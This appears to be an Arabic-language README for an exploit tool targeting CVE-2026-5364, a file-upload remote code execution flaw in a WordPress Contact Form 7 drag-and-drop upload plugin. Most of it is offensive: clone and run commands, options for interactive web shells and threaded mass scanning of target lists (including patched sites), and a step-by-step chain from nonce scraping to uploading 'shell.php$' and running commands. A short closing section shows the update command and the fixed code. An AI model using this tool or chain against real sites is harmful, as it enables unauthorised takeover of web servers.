pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← يتجاوز القائمة السوداء
sanitize_file_name('shell.php$')            →  'shell.php'  ← يُحفظ كـ PHP

git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

# استغلال أساسي (أمر id)
python CVE-2026-5364.py -u https://target.com

# أمر مخصص
python CVE-2026-5364.py -u https://target.com -c "whoami"

# شيل تفاعلي
python CVE-2026-5364.py -u https://target.com --interactive

# نوع شيل مختلف
python CVE-2026-5364.py -u https://target.com --shell exec

# الإخراج المفصل + بروكسي
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

# مسح بـ 20 خيطًا
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# تجربة الإصدارات المصححة أيضًا
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# حفظ النتائج في ملف
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

الهدف:
  -u, --url URL         عنوان URL لهدف واحد
  -l, --list FILE       قائمة الأهداف (عنوان URL لكل سطر)

الاستغلال:
  -c, --cmd CMD         أمر نظام (الافتراضي: id)
  --shell TYPE          نوع الشيل: basic|exec|pass|eval|info
  -i, --interactive     فتح شيل تفاعلي
  --no-skip-patched     محاولة الإصدارات المصححة أيضًا

المسح:
  -t, --threads N       عدد الخيوط (الافتراضي: 10)
  --timeout S           المهلة بالثواني (الافتراضي: 15)
  --proxy URL           عنوان البروكسي

الإخراج:
  -o, --output FILE     ملف النتائج
  -v, --verbose         إخراج مفصّل
  --no-color            إخراج بدون ألوان

1. كشف Nonce
   └─ wp_localize_script() متاح لكل زائر
      GET /contact/ → داخل HTML: "nonce":"abc123def4"

2. تحميل الشيل
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← غير موجود في القائمة السوداء
      file=shell.php$    ← sanitize_file_name() → shell.php

3. الحصول على URL
   └─ الرد: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

$  %  ~  `  (مسافة)

# التحديث عبر WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7

// خطأ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// صحيح (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// معامل type يُقرأ الآن من إعداد المسؤول
$type = $this->get_admin_allowed_types($form_id);  // ليس من POST